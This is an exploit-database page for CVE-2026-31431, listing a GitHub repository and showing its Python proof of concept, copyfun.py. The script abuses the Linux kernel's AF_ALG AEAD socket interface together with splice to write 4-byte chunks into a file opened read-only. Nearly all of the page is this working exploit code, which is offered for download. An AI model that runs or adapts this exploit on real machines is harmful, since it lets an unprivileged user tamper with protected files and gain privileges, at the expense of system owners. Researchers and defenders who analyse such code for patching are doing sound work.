Exploit databaseDownload repository ZIP
GH-bed49c27d3673e76498a1fa6a5bf7fc8
desultory/cve-2026-31431
Sources for CVE-2026-31431
166 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files2
desultory/cve-2026-31431Revision 36eb269a2082
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
copyfun.py
Python · 1,709 bytes# From https://git.sr.ht/~dzwdz/copyfail/tree/main/item/poc.py
from os import pipe, splice, O_RDONLY
from os import open as os_open
from pathlib import Path
from socket import socket, AF_ALG, SOCK_SEQPACKET, SOL_ALG, ALG_SET_KEY, ALG_SET_AEAD_AUTHSIZE, close
# see https://www.kernel.org/doc/html/latest/crypto/userspace-if.html
def patch(target, offset, word):
""" Patch 4 bytes at the offset of the specified file using CVE 2026-31431"""
s = socket(AF_ALG, SOCK_SEQPACKET, 0)
s.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
s.setsockopt(SOL_ALG, ALG_SET_KEY, b'\x08\x00\x01\x00\x00\x00\x00\x10' + b'\x00'*32)
s.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)
u, _ = s.accept()
u.sendmsg([b'A'*4+word],
[(SOL_ALG, 3, b'\x00\x00\x00\x00'),
(SOL_ALG, 2, b'\x10'+b'\x00'*19),
(SOL_ALG, 4, b'\x08\x00\x00\x00')],
32768)
r,w = pipe()
splice(target, w, offset+4, offset_src=0)
splice(r, u.fileno(), offset+4)
try:
u.recv(8+offset)
except OSError:
pass
s.close()
u.close()
close(r)
close(w)
def copyfun(file: str | Path, payload: bytes):
""" Patch the specified file with the payload using CVE 2026-31431"""
target = Path(file)
target_size = target.stat().st_size
if target_size < len(payload):
print(f"Payload exceeds file size, truncating to file size: {target_size}")
payload = payload[:target_size]
# Open the target file, but only readonly
target_file = os_open(target, O_RDONLY)
i = 0
while i < len(payload):
patch(target_file, i, payload[i:i+4])
i += 4
copyfun("/tmp/fun", b"asdfqwer")